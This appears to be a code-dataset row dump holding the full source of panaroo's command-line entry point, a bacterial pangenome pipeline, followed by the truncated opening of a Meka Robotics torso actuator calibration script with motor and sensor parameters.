hexsha stringlengths 40 40 | size int64 4 996k | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 996k | avg_line_length float64 1.33 58.2k | max_line_length int64 2 323k | alphanum_fraction float64 0 0.97 | content_no_comment stringlengths 0 946k | is_comment_constant_removed bool 2
classes | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f7f344cf70320358dc12046f3a66852f0412088f | 18,667 | py | Python | panaroo/__main__.py | AMARTELKE/Pangenome-with-Panaroo | b720debf8616882668d53600038c334393080d9b | [
"MIT"
] | 116 | 2019-11-28T07:54:26.000Z | 2022-03-31T03:20:44.000Z | panaroo/__main__.py | AMARTELKE/Pangenome-with-Panaroo | b720debf8616882668d53600038c334393080d9b | [
"MIT"
] | 120 | 2019-12-08T21:01:46.000Z | 2022-03-30T04:11:52.000Z | panaroo/__main__.py | AMARTELKE/Pangenome-with-Panaroo | b720debf8616882668d53600038c334393080d9b | [
"MIT"
] | 19 | 2019-12-19T05:34:03.000Z | 2022-03-19T05:54:51.000Z | import os, sys
import tempfile
from Bio import SeqIO
import shutil
import networkx as nx
import argparse
import textwrap
import ast
from .isvalid import *
from .set_default_args import set_default_args
from .prokka import process_prokka_input
from .cdhit import check_cdhit_version
from .cdhit import run_cdhit
from .generate_network import generate_network
from .generate_output import *
from .clean_network import *
from .find_missing import find_missing
from .generate_alignments import check_aligner_install
from intbitset import intbitset
from .__init__ import __version__
class SmartFormatter(argparse.HelpFormatter):
def _split_lines(self, text, width):
if text.startswith('R|'):
lines = []
for l in text[2:].splitlines():
if l == "":
lines += [""]
else:
lines += textwrap.wrap(l, width=55)
return lines
# this is the RawTextHelpFormatter._split_lines
return argparse.HelpFormatter._split_lines(self, text, width)
def get_options(args):
description = 'panaroo: an updated pipeline for pangenome investigation'
parser = argparse.ArgumentParser(description=description,
prog='panaroo',
formatter_class=SmartFormatter)
io_opts = parser.add_argument_group('Input/output')
io_opts.add_argument(
"-i",
"--input",
dest="input_files",
required=True,
help=("input GFF3 files (usually output from running Prokka). " +
"Can also take a file listing each gff file line by line."),
type=str,
nargs='+')
io_opts.add_argument("-o",
"--out_dir",
dest="output_dir",
required=True,
help="location of an output directory",
type=str)
mode_opts = parser.add_argument_group('Mode')
mode_opts.add_argument(
"--clean-mode",
dest="mode",
help=
('''R|The stringency mode at which to run panaroo. Must be one of 'strict',\
'moderate' or 'sensitive'. Each of these modes can be fine tuned using the\
additional parameters in the 'Graph correction' section.
strict:
Requires fairly strong evidence (present in at least 5%% of genomes)\
to keep likely contaminant genes. Will remove genes that are refound more often than\
they were called originally.
moderate:
Requires moderate evidence (present in at least 1%% of genomes)\
to keep likely contaminant genes. Keeps genes that are refound more often than\
they were called originally.
sensitive:
Does not delete any genes and only performes merge and refinding\
operations. Useful if rare plasmids are of interest as these are often hard to\
disguish from contamination. Results will likely include higher number of\
spurious annotations.'''),
choices=['strict', 'moderate', 'sensitive'],
required=True)
mode_opts.add_argument(
"--remove-invalid-genes",
dest="filter_invalid",
action='store_true',
default=False,
help=(
"removes annotations that do not conform to the expected Prokka" +
" format such as those including premature stop codons."))
matching = parser.add_argument_group('Matching')
matching.add_argument("-c",
"--threshold",
dest="id",
help="sequence identity threshold (default=0.98)",
type=float)
matching.add_argument(
"-f",
"--family_threshold",
dest="family_threshold",
help="protein family sequence identity threshold (default=0.7)",
type=float)
matching.add_argument("--len_dif_percent",
dest="len_dif_percent",
help="length difference cutoff (default=0.98)",
type=float)
matching.add_argument("--merge_paralogs",
dest="merge_paralogs",
help="don't split paralogs",
action='store_true',
default=False)
refind = parser.add_argument_group('Refind')
refind.add_argument(
"--search_radius",
dest="search_radius",
help=("the distance in nucleotides surronding the " +
"neighbour of an accessory gene in which to search for it"),
default=5000,
type=int)
refind.add_argument(
"--refind_prop_match",
dest="refind_prop_match",
help=("the proportion of an accessory gene that must " +
"be found in order to consider it a match"),
default=0.2,
type=float)
graph = parser.add_argument_group('Graph correction')
graph.add_argument(
"--min_trailing_support",
dest="min_trailing_support",
help=("minimum cluster size to keep a gene called at the " +
"end of a contig"),
type=int)
graph.add_argument(
"--trailing_recursive",
dest="trailing_recursive",
help=("number of times to perform recursive trimming of low support " +
"nodes near the end of contigs"),
type=int)
graph.add_argument(
"--edge_support_threshold",
dest="edge_support_threshold",
help=(
"minimum support required to keep an edge that has been flagged" +
" as a possible mis-assembly"),
type=float)
graph.add_argument(
"--length_outlier_support_proportion",
dest="length_outlier_support_proportion",
help=
("proportion of genomes supporting a gene with a length more " +
"than 1.5x outside the interquatile range for genes in the same cluster"
+
" (default=0.01). Genes failing this test will be re-annotated at the "
+ "shorter length"),
type=float,
default=0.1)
graph.add_argument(
"--remove_by_consensus",
dest="remove_by_consensus",
type=ast.literal_eval,
choices=[True, False],
help=
("if a gene is called in the same region with similar sequence a minority "
+ "of the time, remove it. One of 'True' or 'False'"),
default=None)
graph.add_argument(
"--high_var_flag",
dest="cycle_threshold_min",
help=(
"minimum number of nested cycles to call a highly variable gene " +
"region (default = 5)."),
type=int,
default=5)
graph.add_argument(
"--min_edge_support_sv",
dest="min_edge_support_sv",
help=("minimum edge support required to call structural variants" +
" in the presence/absence sv file"),
type=int)
graph.add_argument(
"--all_seq_in_graph",
dest="all_seq_in_graph",
help=("Retains all DNA sequence for each gene cluster in the graph " +
"output. Off by default as it uses a large amount of space."),
action='store_true',
default=False)
graph.add_argument(
"--no_clean_edges",
dest="clean_edges",
help=("Turn off edge filtering in the final output graph."),
action='store_false',
default=True)
core = parser.add_argument_group('Gene alignment')
core.add_argument(
"-a",
"--alignment",
dest="aln",
help=("Output alignments of core genes or all genes. Options are" +
" 'core' and 'pan'. Default: 'None'"),
type=str,
choices=['core', 'pan'],
default=None)
core.add_argument(
"--aligner",
dest="alr",
help=
"Specify an aligner. Options:'prank', 'clustal', and default: 'mafft'",
type=str,
choices=['prank', 'clustal', 'mafft'],
default="mafft")
core.add_argument("--core_threshold",
dest="core",
help="Core-genome sample threshold (default=0.95)",
type=float,
default=0.95)
# Other options
parser.add_argument("-t",
"--threads",
dest="n_cpu",
help="number of threads to use (default=1)",
type=int,
default=1)
parser.add_argument("--codon-table",
dest="table",
help="the codon table to use for translation (default=11)",
type=int,
default=11)
parser.add_argument("--quiet",
dest="verbose",
help="suppress additional output",
action='store_false',
default=True)
parser.add_argument('--version',
action='version',
version='%(prog)s ' + __version__)
args = parser.parse_args(args)
args = set_default_args(args)
return (args)
def main():
args = get_options(sys.argv[1:])
# Check cd-hit is installed
check_cdhit_version()
#Make sure aligner is installed if alignment requested
if args.aln != None:
check_aligner_install(args.alr)
# create directory if it isn't present already
if not os.path.exists(args.output_dir):
os.mkdir(args.output_dir)
# make sure trailing forward slash is present
args.output_dir = os.path.join(args.output_dir, "")
# Create temporary directory
temp_dir = os.path.join(tempfile.mkdtemp(dir=args.output_dir), "")
# check if input is a file containing filenames
if len(args.input_files) == 1:
files = []
with open(args.input_files[0], 'r') as infile:
for line in infile:
files.append(line.strip())
args.input_files = files
if args.verbose:
print("pre-processing gff3 files...")
# convert input GFF3 files into summary files
process_prokka_input(args.input_files, args.output_dir,
args.filter_invalid, (not args.verbose),
args.n_cpu, args.table)
# Cluster protein sequences using cdhit
cd_hit_out = args.output_dir + "combined_protein_cdhit_out.txt"
run_cdhit(input_file=args.output_dir + "combined_protein_CDS.fasta",
output_file=cd_hit_out,
id=args.id,
s=args.len_dif_percent,
quiet=(not args.verbose),
n_cpu=args.n_cpu)
if args.verbose:
print("generating initial network...")
# generate network from clusters and adjacency information
G, centroid_contexts, seqid_to_centroid = generate_network(
cluster_file=cd_hit_out + ".clstr",
data_file=args.output_dir + "gene_data.csv",
prot_seq_file=args.output_dir + "combined_protein_CDS.fasta",
all_dna=args.all_seq_in_graph)
# merge paralogs
if args.verbose:
print("Processing paralogs...")
G = collapse_paralogs(G, centroid_contexts, quiet=(not args.verbose))
# write out pre-filter graph in GML format
for node in G.nodes():
G.nodes[node]['size'] = len(G.nodes[node]['members'])
G.nodes[node]['genomeIDs'] = ";".join(
[str(m) for m in G.nodes[node]['members']])
G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs'])
G.nodes[node]['degrees'] = G.degree[node]
for edge in G.edges():
G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join(
[str(m) for m in G.edges[edge[0], edge[1]]['members']])
nx.write_gml(G,
args.output_dir + "pre_filt_graph.gml",
stringizer=custom_stringizer)
if args.verbose:
print("collapse mistranslations...")
# clean up translation errors
G = collapse_families(G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
dna_error_threshold=0.98,
correct_mistranslations=True,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose))[0]
if args.verbose:
print("collapse gene families...")
# collapse gene families
G, distances_bwtn_centroids, centroid_to_index = collapse_families(
G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
family_threshold=args.family_threshold,
correct_mistranslations=False,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose))
if args.verbose:
print("trimming contig ends...")
# re-trim low support trailing ends
G = trim_low_support_trailing_ends(G,
min_support=args.min_trailing_support,
max_recursive=args.trailing_recursive)
if args.verbose:
print("refinding genes...")
# find genes that Prokka has missed
G = find_missing(G,
args.input_files,
dna_seq_file=args.output_dir + "combined_DNA_CDS.fasta",
prot_seq_file=args.output_dir +
"combined_protein_CDS.fasta",
gene_data_file=args.output_dir + "gene_data.csv",
remove_by_consensus=args.remove_by_consensus,
search_radius=args.search_radius,
prop_match=args.refind_prop_match,
pairwise_id_thresh=args.id,
merge_id_thresh=max(0.8, args.family_threshold),
n_cpu=args.n_cpu,
verbose=args.verbose)
# remove edges that are likely due to misassemblies (by consensus)
# merge again in case refinding has resolved issues
if args.verbose:
print("collapse gene families with refound genes...")
G = collapse_families(G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
family_threshold=args.family_threshold,
correct_mistranslations=False,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose),
distances_bwtn_centroids=distances_bwtn_centroids,
centroid_to_index=centroid_to_index)[0]
if args.clean_edges:
G = clean_misassembly_edges(
G, edge_support_threshold=args.edge_support_threshold)
# if requested merge paralogs
if args.merge_paralogs:
G = merge_paralogs(G)
isolate_names = [
os.path.splitext(os.path.basename(x))[0] for x in args.input_files
]
G.graph['isolateNames'] = isolate_names
mems_to_isolates = {}
for i, iso in enumerate(isolate_names):
mems_to_isolates[i] = iso
if args.verbose:
print("writing output...")
# write out roary like gene_presence_absence.csv
# get original annotaiton IDs, lengts and whether or
# not an internal stop codon is present
orig_ids = {}
ids_len_stop = {}
with open(args.output_dir + "gene_data.csv", 'r') as infile:
next(infile)
for line in infile:
line = line.split(",")
orig_ids[line[2]] = line[3]
ids_len_stop[line[2]] = (len(line[4]), "*" in line[4][1:-3])
G = generate_roary_gene_presence_absence(G,
mems_to_isolates=mems_to_isolates,
orig_ids=orig_ids,
ids_len_stop=ids_len_stop,
output_dir=args.output_dir)
#Write out presence_absence summary
generate_summary_stats(output_dir=args.output_dir)
# write pan genome reference fasta file
generate_pan_genome_reference(G,
output_dir=args.output_dir,
split_paralogs=False)
# write out common structural differences in a matrix format
generate_common_struct_presence_absence(
G,
output_dir=args.output_dir,
mems_to_isolates=mems_to_isolates,
min_variant_support=args.min_edge_support_sv)
# add helpful attributes and write out graph in GML format
for node in G.nodes():
G.nodes[node]['size'] = len(G.nodes[node]['members'])
G.nodes[node]['centroid'] = ";".join(G.nodes[node]['centroid'])
G.nodes[node]['dna'] = ";".join(conv_list(G.nodes[node]['dna']))
G.nodes[node]['protein'] = ";".join(conv_list(
G.nodes[node]['protein']))
G.nodes[node]['genomeIDs'] = ";".join(
[str(m) for m in G.nodes[node]['members']])
G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs'])
G.nodes[node]['degrees'] = G.degree[node]
G.nodes[node]['members'] = list(G.nodes[node]['members'])
G.nodes[node]['seqIDs'] = list(G.nodes[node]['seqIDs'])
for edge in G.edges():
G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join(
[str(m) for m in G.edges[edge[0], edge[1]]['members']])
G.edges[edge[0],
edge[1]]['members'] = list(G.edges[edge[0],
edge[1]]['members'])
nx.write_gml(G, args.output_dir + "final_graph.gml")
#Write out core/pan-genome alignments
if args.aln == "pan":
if args.verbose: print("generating pan genome MSAs...")
generate_pan_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu,
args.alr, isolate_names)
core_nodes = get_core_gene_nodes(G, args.core, len(args.input_files))
concatenate_core_genome_alignments(core_nodes, args.output_dir)
elif args.aln == "core":
if args.verbose: print("generating core genome MSAs...")
generate_core_genome_alignment(G, temp_dir, args.output_dir,
args.n_cpu, args.alr, isolate_names,
args.core, len(args.input_files))
# remove temporary directory
shutil.rmtree(temp_dir)
return
if __name__ == '__main__':
main()
| 37.711111 | 86 | 0.581293 | import os, sys
import tempfile
from Bio import SeqIO
import shutil
import networkx as nx
import argparse
import textwrap
import ast
from .isvalid import *
from .set_default_args import set_default_args
from .prokka import process_prokka_input
from .cdhit import check_cdhit_version
from .cdhit import run_cdhit
from .generate_network import generate_network
from .generate_output import *
from .clean_network import *
from .find_missing import find_missing
from .generate_alignments import check_aligner_install
from intbitset import intbitset
from .__init__ import __version__
class SmartFormatter(argparse.HelpFormatter):
def _split_lines(self, text, width):
if text.startswith('R|'):
lines = []
for l in text[2:].splitlines():
if l == "":
lines += [""]
else:
lines += textwrap.wrap(l, width=55)
return lines
return argparse.HelpFormatter._split_lines(self, text, width)
def get_options(args):
description = 'panaroo: an updated pipeline for pangenome investigation'
parser = argparse.ArgumentParser(description=description,
prog='panaroo',
formatter_class=SmartFormatter)
io_opts = parser.add_argument_group('Input/output')
io_opts.add_argument(
"-i",
"--input",
dest="input_files",
required=True,
help=("input GFF3 files (usually output from running Prokka). " +
"Can also take a file listing each gff file line by line."),
type=str,
nargs='+')
io_opts.add_argument("-o",
"--out_dir",
dest="output_dir",
required=True,
help="location of an output directory",
type=str)
mode_opts = parser.add_argument_group('Mode')
mode_opts.add_argument(
"--clean-mode",
dest="mode",
help=
('''R|The stringency mode at which to run panaroo. Must be one of 'strict',\
'moderate' or 'sensitive'. Each of these modes can be fine tuned using the\
additional parameters in the 'Graph correction' section.
strict:
Requires fairly strong evidence (present in at least 5%% of genomes)\
to keep likely contaminant genes. Will remove genes that are refound more often than\
they were called originally.
moderate:
Requires moderate evidence (present in at least 1%% of genomes)\
to keep likely contaminant genes. Keeps genes that are refound more often than\
they were called originally.
sensitive:
Does not delete any genes and only performes merge and refinding\
operations. Useful if rare plasmids are of interest as these are often hard to\
disguish from contamination. Results will likely include higher number of\
spurious annotations.'''),
choices=['strict', 'moderate', 'sensitive'],
required=True)
mode_opts.add_argument(
"--remove-invalid-genes",
dest="filter_invalid",
action='store_true',
default=False,
help=(
"removes annotations that do not conform to the expected Prokka" +
" format such as those including premature stop codons."))
matching = parser.add_argument_group('Matching')
matching.add_argument("-c",
"--threshold",
dest="id",
help="sequence identity threshold (default=0.98)",
type=float)
matching.add_argument(
"-f",
"--family_threshold",
dest="family_threshold",
help="protein family sequence identity threshold (default=0.7)",
type=float)
matching.add_argument("--len_dif_percent",
dest="len_dif_percent",
help="length difference cutoff (default=0.98)",
type=float)
matching.add_argument("--merge_paralogs",
dest="merge_paralogs",
help="don't split paralogs",
action='store_true',
default=False)
refind = parser.add_argument_group('Refind')
refind.add_argument(
"--search_radius",
dest="search_radius",
help=("the distance in nucleotides surronding the " +
"neighbour of an accessory gene in which to search for it"),
default=5000,
type=int)
refind.add_argument(
"--refind_prop_match",
dest="refind_prop_match",
help=("the proportion of an accessory gene that must " +
"be found in order to consider it a match"),
default=0.2,
type=float)
graph = parser.add_argument_group('Graph correction')
graph.add_argument(
"--min_trailing_support",
dest="min_trailing_support",
help=("minimum cluster size to keep a gene called at the " +
"end of a contig"),
type=int)
graph.add_argument(
"--trailing_recursive",
dest="trailing_recursive",
help=("number of times to perform recursive trimming of low support " +
"nodes near the end of contigs"),
type=int)
graph.add_argument(
"--edge_support_threshold",
dest="edge_support_threshold",
help=(
"minimum support required to keep an edge that has been flagged" +
" as a possible mis-assembly"),
type=float)
graph.add_argument(
"--length_outlier_support_proportion",
dest="length_outlier_support_proportion",
help=
("proportion of genomes supporting a gene with a length more " +
"than 1.5x outside the interquatile range for genes in the same cluster"
+
" (default=0.01). Genes failing this test will be re-annotated at the "
+ "shorter length"),
type=float,
default=0.1)
graph.add_argument(
"--remove_by_consensus",
dest="remove_by_consensus",
type=ast.literal_eval,
choices=[True, False],
help=
("if a gene is called in the same region with similar sequence a minority "
+ "of the time, remove it. One of 'True' or 'False'"),
default=None)
graph.add_argument(
"--high_var_flag",
dest="cycle_threshold_min",
help=(
"minimum number of nested cycles to call a highly variable gene " +
"region (default = 5)."),
type=int,
default=5)
graph.add_argument(
"--min_edge_support_sv",
dest="min_edge_support_sv",
help=("minimum edge support required to call structural variants" +
" in the presence/absence sv file"),
type=int)
graph.add_argument(
"--all_seq_in_graph",
dest="all_seq_in_graph",
help=("Retains all DNA sequence for each gene cluster in the graph " +
"output. Off by default as it uses a large amount of space."),
action='store_true',
default=False)
graph.add_argument(
"--no_clean_edges",
dest="clean_edges",
help=("Turn off edge filtering in the final output graph."),
action='store_false',
default=True)
core = parser.add_argument_group('Gene alignment')
core.add_argument(
"-a",
"--alignment",
dest="aln",
help=("Output alignments of core genes or all genes. Options are" +
" 'core' and 'pan'. Default: 'None'"),
type=str,
choices=['core', 'pan'],
default=None)
core.add_argument(
"--aligner",
dest="alr",
help=
"Specify an aligner. Options:'prank', 'clustal', and default: 'mafft'",
type=str,
choices=['prank', 'clustal', 'mafft'],
default="mafft")
core.add_argument("--core_threshold",
dest="core",
help="Core-genome sample threshold (default=0.95)",
type=float,
default=0.95)
# Other options
parser.add_argument("-t",
"--threads",
dest="n_cpu",
help="number of threads to use (default=1)",
type=int,
default=1)
parser.add_argument("--codon-table",
dest="table",
help="the codon table to use for translation (default=11)",
type=int,
default=11)
parser.add_argument("--quiet",
dest="verbose",
help="suppress additional output",
action='store_false',
default=True)
parser.add_argument('--version',
action='version',
version='%(prog)s ' + __version__)
args = parser.parse_args(args)
args = set_default_args(args)
return (args)
def main():
args = get_options(sys.argv[1:])
# Check cd-hit is installed
check_cdhit_version()
#Make sure aligner is installed if alignment requested
if args.aln != None:
check_aligner_install(args.alr)
# create directory if it isn't present already
if not os.path.exists(args.output_dir):
os.mkdir(args.output_dir)
args.output_dir = os.path.join(args.output_dir, "")
temp_dir = os.path.join(tempfile.mkdtemp(dir=args.output_dir), "")
if len(args.input_files) == 1:
files = []
with open(args.input_files[0], 'r') as infile:
for line in infile:
files.append(line.strip())
args.input_files = files
if args.verbose:
print("pre-processing gff3 files...")
process_prokka_input(args.input_files, args.output_dir,
args.filter_invalid, (not args.verbose),
args.n_cpu, args.table)
cd_hit_out = args.output_dir + "combined_protein_cdhit_out.txt"
run_cdhit(input_file=args.output_dir + "combined_protein_CDS.fasta",
output_file=cd_hit_out,
id=args.id,
s=args.len_dif_percent,
quiet=(not args.verbose),
n_cpu=args.n_cpu)
if args.verbose:
print("generating initial network...")
G, centroid_contexts, seqid_to_centroid = generate_network(
cluster_file=cd_hit_out + ".clstr",
data_file=args.output_dir + "gene_data.csv",
prot_seq_file=args.output_dir + "combined_protein_CDS.fasta",
all_dna=args.all_seq_in_graph)
if args.verbose:
print("Processing paralogs...")
G = collapse_paralogs(G, centroid_contexts, quiet=(not args.verbose))
for node in G.nodes():
G.nodes[node]['size'] = len(G.nodes[node]['members'])
G.nodes[node]['genomeIDs'] = ";".join(
[str(m) for m in G.nodes[node]['members']])
G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs'])
G.nodes[node]['degrees'] = G.degree[node]
for edge in G.edges():
G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join(
[str(m) for m in G.edges[edge[0], edge[1]]['members']])
nx.write_gml(G,
args.output_dir + "pre_filt_graph.gml",
stringizer=custom_stringizer)
if args.verbose:
print("collapse mistranslations...")
G = collapse_families(G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
dna_error_threshold=0.98,
correct_mistranslations=True,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose))[0]
if args.verbose:
print("collapse gene families...")
G, distances_bwtn_centroids, centroid_to_index = collapse_families(
G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
family_threshold=args.family_threshold,
correct_mistranslations=False,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose))
if args.verbose:
print("trimming contig ends...")
G = trim_low_support_trailing_ends(G,
min_support=args.min_trailing_support,
max_recursive=args.trailing_recursive)
if args.verbose:
print("refinding genes...")
G = find_missing(G,
args.input_files,
dna_seq_file=args.output_dir + "combined_DNA_CDS.fasta",
prot_seq_file=args.output_dir +
"combined_protein_CDS.fasta",
gene_data_file=args.output_dir + "gene_data.csv",
remove_by_consensus=args.remove_by_consensus,
search_radius=args.search_radius,
prop_match=args.refind_prop_match,
pairwise_id_thresh=args.id,
merge_id_thresh=max(0.8, args.family_threshold),
n_cpu=args.n_cpu,
verbose=args.verbose)
if args.verbose:
print("collapse gene families with refound genes...")
G = collapse_families(G,
seqid_to_centroid=seqid_to_centroid,
outdir=temp_dir,
family_threshold=args.family_threshold,
correct_mistranslations=False,
length_outlier_support_proportion=args.
length_outlier_support_proportion,
n_cpu=args.n_cpu,
quiet=(not args.verbose),
distances_bwtn_centroids=distances_bwtn_centroids,
centroid_to_index=centroid_to_index)[0]
if args.clean_edges:
G = clean_misassembly_edges(
G, edge_support_threshold=args.edge_support_threshold)
if args.merge_paralogs:
G = merge_paralogs(G)
isolate_names = [
os.path.splitext(os.path.basename(x))[0] for x in args.input_files
]
G.graph['isolateNames'] = isolate_names
mems_to_isolates = {}
for i, iso in enumerate(isolate_names):
mems_to_isolates[i] = iso
if args.verbose:
print("writing output...")
orig_ids = {}
ids_len_stop = {}
with open(args.output_dir + "gene_data.csv", 'r') as infile:
next(infile)
for line in infile:
line = line.split(",")
orig_ids[line[2]] = line[3]
ids_len_stop[line[2]] = (len(line[4]), "*" in line[4][1:-3])
G = generate_roary_gene_presence_absence(G,
mems_to_isolates=mems_to_isolates,
orig_ids=orig_ids,
ids_len_stop=ids_len_stop,
output_dir=args.output_dir)
generate_summary_stats(output_dir=args.output_dir)
generate_pan_genome_reference(G,
output_dir=args.output_dir,
split_paralogs=False)
generate_common_struct_presence_absence(
G,
output_dir=args.output_dir,
mems_to_isolates=mems_to_isolates,
min_variant_support=args.min_edge_support_sv)
for node in G.nodes():
G.nodes[node]['size'] = len(G.nodes[node]['members'])
G.nodes[node]['centroid'] = ";".join(G.nodes[node]['centroid'])
G.nodes[node]['dna'] = ";".join(conv_list(G.nodes[node]['dna']))
G.nodes[node]['protein'] = ";".join(conv_list(
G.nodes[node]['protein']))
G.nodes[node]['genomeIDs'] = ";".join(
[str(m) for m in G.nodes[node]['members']])
G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs'])
G.nodes[node]['degrees'] = G.degree[node]
G.nodes[node]['members'] = list(G.nodes[node]['members'])
G.nodes[node]['seqIDs'] = list(G.nodes[node]['seqIDs'])
for edge in G.edges():
G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join(
[str(m) for m in G.edges[edge[0], edge[1]]['members']])
G.edges[edge[0],
edge[1]]['members'] = list(G.edges[edge[0],
edge[1]]['members'])
nx.write_gml(G, args.output_dir + "final_graph.gml")
if args.aln == "pan":
if args.verbose: print("generating pan genome MSAs...")
generate_pan_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu,
args.alr, isolate_names)
core_nodes = get_core_gene_nodes(G, args.core, len(args.input_files))
concatenate_core_genome_alignments(core_nodes, args.output_dir)
elif args.aln == "core":
if args.verbose: print("generating core genome MSAs...")
generate_core_genome_alignment(G, temp_dir, args.output_dir,
args.n_cpu, args.alr, isolate_names,
args.core, len(args.input_files))
shutil.rmtree(temp_dir)
return
if __name__ == '__main__':
main()
| true | true |
f7f34502f445c46c538318177f51718acc7ae51f | 8,708 | py | Python | python/scripts/m3qa/calibrate_torso_t2r1.py | ahoarau/m3meka | 237739f0266ce60aaa3013b0d2b22fc07b6374c4 | [
"MIT"
] | null | null | null | python/scripts/m3qa/calibrate_torso_t2r1.py | ahoarau/m3meka | 237739f0266ce60aaa3013b0d2b22fc07b6374c4 | [
"MIT"
] | null | null | null | python/scripts/m3qa/calibrate_torso_t2r1.py | ahoarau/m3meka | 237739f0266ce60aaa3013b0d2b22fc07b6374c4 | [
"MIT"
] | 2 | 2015-11-27T09:25:54.000Z | 2021-08-16T16:29:22.000Z | #Copyright 2008, Meka Robotics
#All rights reserved.
#http://mekabot.com
#Redistribution and use in source and binary forms, with or without
#modification, are permitted.
#THIS SOFTWARE IS PROVIDED BY THE Copyright HOLDERS AND CONTRIBUTORS
#"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
#LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
#FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
#Copyright OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
#INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES INCLUDING,
#BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
#CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
#LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
#ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
import time
import numpy.numarray as na
#import Numeric as nu
import math
import os
import sys
import yaml
import m3.unit_conversion as m3u
from m3qa.calibrate import *
from m3qa.calibrate_sensors import *
from m3qa.calibrate_actuator_ec_r1 import *
import m3.actuator_ec_pb2 as aec
# ######################################## T2 J0 ############################################################
config_default_t2_j0={
'calib':{
'motor':{
'name': 'Maxon RE40 150W 24V',
'winding_resistance': .316,
'thermal_resistance_housing_ambient': 4.7,
'thermal_resistance_rotor_housing': 1.9,
'max_winding_temp': 155,
'gear_ratio': 240.0,
'thermal_time_constant_winding': 41.0
},
'theta':{
'type': 'vertx_14bit',
'name': 'ContElec VertX13',
'cb_scale': 1.0,
'cb_bias': 0.0},
'amp_temp':{
'type': 'adc_linear_5V',
'name': 'Microchip TC1047',
'cb_mV_at_25C': 750.0,
'cb_mV_per_C': 10.0,
'cb_scale': 1.0,
'cb_bias': 0.0,
},
'motor_temp':{
'type': 'adc_linear_3V3',
'name': 'Analog TMP36',
'cb_mV_at_25C': 750.0,
'cb_mV_per_C': 10.0,
'cb_scale': 1.0,
'cb_bias': 0.0},
'torque':{
'type': 'adc_poly',
'name': 'Linear torque-load cell',
'cb_inv_torque': [1,0],
'cb_torque': [1,0],
'cb_scale': 1.0,
'cb_bias': 0.0},
'current':{
'type': 'adc_linear_5V',
'name': 'Allegro ACS712-20',
'cb_mV_per_A': 100.0,
'cb_ticks_at_zero_a': 0.0,
'cb_ticks_at_zero_b': 0.0,
'cb_scale': 1.0,
'cb_bias': 0.0},
},
'param':{
'max_amp_temp': 100.0,
'max_current': 12000,
'max_motor_temp': 145.0,
'max_tq': 40000.0,
'min_tq': -40000.0,
'thetadot_deadband': 1.0
},
'param_internal':
{
'calib_tq_lc_amp':2000.0,
'analyze_tq_lc_amp':10000.0,
'calib_lever_mass':327.6,
'calib_lever_com':157.5,
'calib_lever_len':304.8,
'joint_limits': [-180.0,180.0],
'calib_tq_degree':1,
'calib_hub_diam':70,
'pwm_theta':[-700,700],
}
}
# ###################################### T2 J1 ##############################################################
config_default_t2_j1={
'calib':{
'motor':{
'name': 'Maxon RE40 150W 24V',
'winding_resistance': .316,
'thermal_resistance_housing_ambient': 4.7,
'thermal_resistance_rotor_housing': 1.9,
'max_winding_temp': 155,
'gear_ratio': 120.0,
'thermal_time_constant_winding': 41.0
},
'theta':{
'type': 'vertx_14bit',
'name': 'ContElec VertX13',
'cb_scale': 1.0,
